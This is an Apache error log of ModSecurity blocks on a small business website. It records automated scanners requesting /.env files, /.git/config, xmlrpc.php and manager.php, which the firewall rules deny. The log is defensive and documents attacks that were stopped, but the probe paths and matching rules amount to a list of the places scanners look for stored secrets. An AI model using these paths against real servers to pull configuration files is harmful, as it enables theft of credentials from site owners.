[Fri Nov 28 06:01:17.743241 2025] [:error] [pid 47665:tid 47678] [client 52.214.165.207:45566] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "aSjKLeKdGkl8FDVPT-DsvwAAAMo"]
[Fri Nov 28 06:01:17.743443 2025] [:error] [pid 13757:tid 13765] [client 52.214.165.207:45568] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/apps/.env"] [unique_id "aSjKLbGFOJUZiUffA2zNJAAAAQY"]
[Fri Nov 28 06:01:17.743603 2025] [:error] [pid 47665:tid 47684] [client 52.214.165.207:45564] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/config/.env"] [unique_id "aSjKLeKdGkl8FDVPT-DswAAAANA"]
[Fri Nov 28 06:01:19.122170 2025] [:error] [pid 13757:tid 13766] [client 52.214.165.207:45662] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/uploads/.env"] [unique_id "aSjKL7GFOJUZiUffA2zNJgAAAQc"]
[Fri Nov 28 06:01:19.731207 2025] [:error] [pid 13757:tid 13768] [client 52.214.165.207:45798] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/sitemaps/.env"] [unique_id "aSjKL7GFOJUZiUffA2zNLAAAAQk"]
[Fri Nov 28 06:01:21.985148 2025] [:error] [pid 13757:tid 13763] [client 52.214.165.207:48646] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/en/.env"] [unique_id "aSjKMbGFOJUZiUffA2zNNAAAAQQ"]
[Fri Nov 28 06:01:21.985196 2025] [:error] [pid 13757:tid 13767] [client 52.214.165.207:48954] [client 52.214.165.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/tools/.env"] [unique_id "aSjKMbGFOJUZiUffA2zNNQAAAQg"]
[Fri Nov 28 07:44:15.777308 2025] [:error] [pid 29397:tid 29482] [client 103.4.123.23:49671] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSjiT1cpYcp09L_NT3bu3AAAAFg"]
[Fri Nov 28 07:44:15.911522 2025] [:error] [pid 29396:tid 29439] [client 103.4.123.23:60867] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSjiTw0Yvy-yE-oKQzQougAAAAg"]
[Fri Nov 28 07:44:17.099728 2025] [:error] [pid 29397:tid 29458] [client 103.4.123.23:56617] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSjiUVcpYcp09L_NT3bu3QAAAEA"]
[Fri Nov 28 07:44:22.249710 2025] [:error] [pid 29396:tid 29440] [client 103.4.123.23:54259] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSjiVg0Yvy-yE-oKQzQo5AAAAAk"]
[Fri Nov 28 07:44:22.937693 2025] [:error] [pid 29484:tid 29495] [client 103.4.123.23:54747] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSjiVhaDa95QrZb9SFo1MwAAAIk"]
[Fri Nov 28 07:44:24.129069 2025] [:error] [pid 29484:tid 29501] [client 103.4.123.23:64914] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSjiWBaDa95QrZb9SFo1SAAAAI8"]
[Fri Nov 28 07:44:29.288036 2025] [:error] [pid 29397:tid 29458] [client 103.4.123.23:50868] [client 103.4.123.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSjiXVcpYcp09L_NT3bvHgAAAEA"]
[Fri Nov 28 16:32:49.877912 2025] [proxy_fcgi:error] [pid 59559:tid 59599] [client 129.212.237.19:62019] AH01071: Got error 'Primary script unknown'
[Fri Nov 28 18:53:32.187970 2025] [:error] [pid 59836:tid 59843] [client 13.50.5.129:40786] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/vendor/.env"] [unique_id "aSl_LOdZMCOz1m2UNtGg6QAAAAQ"]
[Fri Nov 28 18:53:32.188253 2025] [:error] [pid 59558:tid 59573] [client 13.50.5.129:40794] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib/.env"] [unique_id "aSl_LMv1JlbxrOWQIPbfHQAAAEs"]
[Fri Nov 28 18:53:32.188996 2025] [:error] [pid 37392:tid 37414] [client 13.50.5.129:40796] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lab/.env"] [unique_id "aSl_LKB3gkyvQI8SfR-WdAAAAZQ"]
[Fri Nov 28 18:53:32.189409 2025] [:error] [pid 59558:tid 59564] [client 13.50.5.129:40784] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSl_LMv1JlbxrOWQIPbfHgAAAEI"]
[Fri Nov 28 18:53:32.189789 2025] [:error] [pid 59558:tid 59568] [client 13.50.5.129:40782] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSl_LMv1JlbxrOWQIPbfHwAAAEY"]
[Fri Nov 28 18:53:32.190099 2025] [:error] [pid 59558:tid 59581] [client 13.50.5.129:40790] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aSl_LMv1JlbxrOWQIPbfIAAAAFM"]
[Fri Nov 28 18:53:32.347443 2025] [:error] [pid 55588:tid 55614] [client 13.50.5.129:40798] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cronlab/.env"] [unique_id "aSl_LFkh_zgPkFPwj1fZAQAAAdg"]
[Fri Nov 28 18:53:32.347660 2025] [:error] [pid 59836:tid 59854] [client 13.50.5.129:40788] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aSl_LOdZMCOz1m2UNtGg6gAAAA8"]
[Fri Nov 28 18:53:32.348262 2025] [:error] [pid 55588:tid 55612] [client 13.50.5.129:40792] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "aSl_LFkh_zgPkFPwj1fZAgAAAdY"]
[Fri Nov 28 18:53:32.811482 2025] [:error] [pid 55588:tid 55609] [client 13.50.5.129:40856] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cron/.env"] [unique_id "aSl_LFkh_zgPkFPwj1fZAwAAAdM"]
[Fri Nov 28 18:53:33.662502 2025] [:error] [pid 55588:tid 55607] [client 13.50.5.129:40934] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "aSl_LVkh_zgPkFPwj1fZBAAAAdE"]
[Fri Nov 28 18:53:33.662792 2025] [:error] [pid 59836:tid 59858] [client 13.50.5.129:40936] [client 13.50.5.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/app/.env"] [unique_id "aSl_LedZMCOz1m2UNtGg6wAAABM"]
[Sat Nov 29 01:59:56.604495 2025] [:error] [pid 9751:tid 9755] [client 34.122.72.180:33126] [client 34.122.72.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSnjHKqNNTs_lWy2XeH2DwAAAcI"]
[Sat Nov 29 02:21:54.050154 2025] [:error] [pid 9907:tid 9926] [client 160.25.72.93:61512] [client 160.25.72.93] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSnoQuFoCqXx6ihYWZwSGAAAARE"]
[Sat Nov 29 02:37:45.344694 2025] [:error] [pid 9656:tid 9736] [client 52.221.223.8:35484] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSnr-Y_4AfnhtHpInuniSgAAAJg"]
[Sat Nov 29 02:37:45.779367 2025] [:error] [pid 9656:tid 9729] [client 52.221.223.8:35560] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSnr-Y_4AfnhtHpInuniSwAAAJE"]
[Sat Nov 29 02:37:45.808022 2025] [:error] [pid 9656:tid 9714] [client 52.221.223.8:35562] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aSnr-Y_4AfnhtHpInuniTAAAAII"]
[Sat Nov 29 02:37:46.122150 2025] [:error] [pid 9656:tid 9724] [client 52.221.223.8:35642] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.remote"] [unique_id "aSnr-o_4AfnhtHpInuniTgAAAIw"]
[Sat Nov 29 02:37:46.664616 2025] [:error] [pid 9656:tid 9720] [client 52.221.223.8:35732] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aSnr-o_4AfnhtHpInuniUQAAAIg"]
[Sat Nov 29 02:37:46.665026 2025] [:error] [pid 9656:tid 9722] [client 52.221.223.8:35734] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/vendor/.env"] [unique_id "aSnr-o_4AfnhtHpInuniUgAAAIo"]
[Sat Nov 29 02:37:47.121977 2025] [:error] [pid 9656:tid 9733] [client 52.221.223.8:35828] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lib/.env"] [unique_id "aSnr-4_4AfnhtHpInuniUwAAAJU"]
[Sat Nov 29 02:37:47.406916 2025] [:error] [pid 9654:tid 9670] [client 52.221.223.8:35886] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/lab/.env"] [unique_id "aSnr-3wlAlfevRIdjr-8xAAAAEw"]
[Sat Nov 29 02:37:48.048112 2025] [:error] [pid 9751:tid 9761] [client 52.221.223.8:36048] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cronlab/.env"] [unique_id "aSnr_KqNNTs_lWy2XeH-6gAAAcg"]
[Sat Nov 29 02:37:48.327737 2025] [:error] [pid 9654:tid 9676] [client 52.221.223.8:36242] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/cron/.env"] [unique_id "aSnr_HwlAlfevRIdjr-8xgAAAFI"]
[Sat Nov 29 02:37:48.591278 2025] [:error] [pid 9656:tid 9712] [client 52.221.223.8:36370] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "aSnr_I_4AfnhtHpInuniVAAAAIA"]
[Sat Nov 29 02:37:48.842196 2025] [:error] [pid 9751:tid 9772] [client 52.221.223.8:36552] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/app/.env"] [unique_id "aSnr_KqNNTs_lWy2XeH-7AAAAdM"]
[Sat Nov 29 02:37:49.123782 2025] [:error] [pid 9751:tid 9776] [client 52.221.223.8:36788] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/Datavase/.env"] [unique_id "aSnr_aqNNTs_lWy2XeH-7QAAAdc"]
[Sat Nov 29 02:37:49.437998 2025] [:error] [pid 9751:tid 9753] [client 52.221.223.8:36986] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/database/.env"] [unique_id "aSnr_aqNNTs_lWy2XeH-7gAAAcA"]
[Sat Nov 29 02:37:49.803753 2025] [:error] [pid 9751:tid 9763] [client 52.221.223.8:37312] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "aSnr_aqNNTs_lWy2XeH-7wAAAco"]
[Sat Nov 29 02:37:50.203666 2025] [:error] [pid 9655:tid 9685] [client 52.221.223.8:37458] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/assets/.env"] [unique_id "aSnr_k06gYqtNcz_Y880tgAAAAA"]
[Sat Nov 29 02:37:50.641275 2025] [:error] [pid 9751:tid 9758] [client 52.221.223.8:38134] [client 52.221.223.8] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "aSnr_qqNNTs_lWy2XeH-8AAAAcU"]
[Sat Nov 29 03:36:45.088972 2025] [:error] [pid 5333:tid 5352] [client 159.203.97.230:46612] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSn5zRDZfHlEM8phi3YKYgAAANE"]
[Sat Nov 29 03:36:46.221170 2025] [:error] [pid 5232:tid 5257] [client 159.203.97.230:49224] [client 159.203.97.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSn5zoI7dWv4FLjkrGkOagAAAA8"]
[Sat Nov 29 05:08:46.683793 2025] [:error] [pid 53818:tid 53865] [client 49.150.196.217:52027] [client 49.150.196.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.150.196.217, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSoPXpY2lVKaQoKCJUK9TQAAAFA"]
[Sat Nov 29 05:08:46.697756 2025] [proxy_fcgi:error] [pid 53818:tid 53865] [client 49.150.196.217:52027] AH01071: Got error 'Primary script unknown'
[Sat Nov 29 05:54:08.520443 2025] [:error] [pid 22280:tid 22286] [client 34.122.72.180:44810] [client 34.122.72.180] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aSoaAJFKJ7cA_ndzTYswuQAAAUQ"]
[Sat Nov 29 06:03:31.091448 2025] [:error] [pid 22939:tid 22942] [client 217.146.83.115:43386] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSocM9Rbdh0p_UmbHuCH5AAAAYE"]
[Sat Nov 29 06:03:31.605742 2025] [:error] [pid 19562:tid 19564] [client 217.146.83.115:43694] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSocM14oDK0S9prYl7loRgAAAQA"]
[Sat Nov 29 06:03:32.120498 2025] [:error] [pid 22939:tid 22956] [client 217.146.83.115:44072] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSocNNRbdh0p_UmbHuCH9gAAAY8"]
[Sat Nov 29 06:03:32.634692 2025] [:error] [pid 19562:tid 19581] [client 217.146.83.115:44404] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSocNF4oDK0S9prYl7loYwAAARE"]
[Sat Nov 29 06:03:33.145890 2025] [:error] [pid 19562:tid 19581] [client 217.146.83.115:44764] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aSocNV4oDK0S9prYl7loeQAAARE"]
[Sat Nov 29 06:03:33.917601 2025] [:error] [pid 53817:tid 53840] [client 217.146.83.115:45174] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocNRUtaHwNb4_nTTSwywAAABM"]
[Sat Nov 29 06:03:34.429431 2025] [:error] [pid 19562:tid 19570] [client 217.146.83.115:45752] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocNl4oDK0S9prYl7lolAAAAQY"]
[Sat Nov 29 06:03:34.961477 2025] [:error] [pid 19562:tid 19564] [client 217.146.83.115:46112] [client 217.146.83.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSocNl4oDK0S9prYl7longAAAQA"]
